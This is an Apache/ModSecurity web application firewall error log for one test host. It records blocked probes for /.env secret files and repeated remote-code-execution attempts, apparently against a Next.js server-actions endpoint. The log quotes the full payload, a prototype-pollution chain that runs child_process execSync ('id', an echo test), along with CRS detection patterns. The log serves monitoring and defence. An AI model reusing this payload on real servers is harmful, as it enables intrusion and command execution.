[Thu Dec 11 08:25:18.265262 2025] [:error] [pid 664731] [client 45.148.10.143:51122] [client 45.148.10.143] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpx3r5lrOs4meZvJLQ2HwAAAAE&quot;]
[Thu Dec 11 08:25:18.265589 2025] [:error] [pid 664731] [client 45.148.10.143:51122] [client 45.148.10.143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpx3r5lrOs4meZvJLQ2HwAAAAE&quot;]
[Thu Dec 11 08:25:18.265784 2025] [:error] [pid 664731] [client 45.148.10.143:51122] [client 45.148.10.143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpx3r5lrOs4meZvJLQ2HwAAAAE&quot;]
[Thu Dec 11 08:27:27.828247 2025] [:error] [pid 664749] [client 45.148.10.143:41466] [client 45.148.10.143] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTpyX6EaLL5b8yZjdF_UKgAAAAI&quot;]
[Thu Dec 11 08:27:27.828606 2025] [:error] [pid 664749] [client 45.148.10.143:41466] [client 45.148.10.143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTpyX6EaLL5b8yZjdF_UKgAAAAI&quot;]
[Thu Dec 11 08:27:27.828846 2025] [:error] [pid 664749] [client 45.148.10.143:41466] [client 45.148.10.143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aTpyX6EaLL5b8yZjdF_UKgAAAAI&quot;]
[Thu Dec 11 08:28:22.388083 2025] [:error] [pid 664040] [client 45.148.10.143:50216] [client 45.148.10.143] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTpylkf2y7b6ZcvHxt40AwAAAAs&quot;]
[Thu Dec 11 08:28:22.388385 2025] [:error] [pid 664040] [client 45.148.10.143:50216] [client 45.148.10.143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTpylkf2y7b6ZcvHxt40AwAAAAs&quot;]
[Thu Dec 11 08:28:22.388568 2025] [:error] [pid 664040] [client 45.148.10.143:50216] [client 45.148.10.143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aTpylkf2y7b6ZcvHxt40AwAAAAs&quot;]
[Thu Dec 11 18:26:39.489388 2025] [:error] [pid 660796] [client 13.53.71.111:54562] [client 13.53.71.111] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTr-z2CN_lJ-2b0IbChIpQAAAAM&quot;]
[Thu Dec 11 18:26:39.489885 2025] [:error] [pid 660796] [client 13.53.71.111:54562] [client 13.53.71.111] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTr-z2CN_lJ-2b0IbChIpQAAAAM&quot;]
[Thu Dec 11 18:26:39.490910 2025] [:error] [pid 660796] [client 13.53.71.111:54562] [client 13.53.71.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTr-z2CN_lJ-2b0IbChIpQAAAAM&quot;]
[Thu Dec 11 18:26:39.491098 2025] [:error] [pid 660796] [client 13.53.71.111:54562] [client 13.53.71.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTr-z2CN_lJ-2b0IbChIpQAAAAM&quot;]
[Thu Dec 11 19:49:03.783812 2025] [:error] [pid 664038] [client 35.78.197.195:44474] [client 35.78.197.195] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTsSHyHymMccKT7P_Vzv1wAAAAg&quot;]
[Thu Dec 11 19:49:03.784380 2025] [:error] [pid 664038] [client 35.78.197.195:44474] [client 35.78.197.195] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTsSHyHymMccKT7P_Vzv1wAAAAg&quot;]
[Thu Dec 11 19:49:03.785458 2025] [:error] [pid 664038] [client 35.78.197.195:44474] [client 35.78.197.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTsSHyHymMccKT7P_Vzv1wAAAAg&quot;]
[Thu Dec 11 19:49:03.785689 2025] [:error] [pid 664038] [client 35.78.197.195:44474] [client 35.78.197.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTsSHyHymMccKT7P_Vzv1wAAAAg&quot;]
[Fri Dec 12 01:52:38.277162 2025] [:error] [pid 681181] [client 35.78.197.195:40556] [client 35.78.197.195] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTtnVmBrzLL7_X46KxDhWwAAAAI&quot;]
[Fri Dec 12 01:52:38.277676 2025] [:error] [pid 681181] [client 35.78.197.195:40556] [client 35.78.197.195] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTtnVmBrzLL7_X46KxDhWwAAAAI&quot;]
[Fri Dec 12 01:52:38.278688 2025] [:error] [pid 681181] [client 35.78.197.195:40556] [client 35.78.197.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTtnVmBrzLL7_X46KxDhWwAAAAI&quot;]
[Fri Dec 12 01:52:38.278937 2025] [:error] [pid 681181] [client 35.78.197.195:40556] [client 35.78.197.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTtnVmBrzLL7_X46KxDhWwAAAAI&quot;]
[Fri Dec 12 05:27:14.859761 2025] [:error] [pid 682425] [client 213.238.190.149:51260] [client 213.238.190.149] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aTuZooHLRgRdZHqcFM4MAQAAAAE&quot;]
[Fri Dec 12 05:27:14.861188 2025] [:error] [pid 682425] [client 213.238.190.149:51260] [client 213.238.190.149] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aTuZooHLRgRdZHqcFM4MAQAAAAE&quot;]
[Fri Dec 12 05:27:14.861376 2025] [:error] [pid 682425] [client 213.238.190.149:51260] [client 213.238.190.149] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aTuZooHLRgRdZHqcFM4MAQAAAAE&quot;]
[Sat Dec 13 10:21:51.217573 2025] [:error] [pid 708019] [client 204.76.203.25:58404] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aT0wLwomPx3LMc2inaFy4gAAAAc&quot;]
[Sat Dec 13 10:21:51.218994 2025] [:error] [pid 708019] [client 204.76.203.25:58404] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aT0wLwomPx3LMc2inaFy4gAAAAc&quot;]
[Sat Dec 13 10:21:51.219206 2025] [:error] [pid 708019] [client 204.76.203.25:58404] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aT0wLwomPx3LMc2inaFy4gAAAAc&quot;]
[Sat Dec 13 20:05:19.872432 2025] [:error] [pid 714766] [client 72.60.190.6:50580] [client 72.60.190.6] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).execsync(id).tostring().trim().replace(/n/g | ) throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag 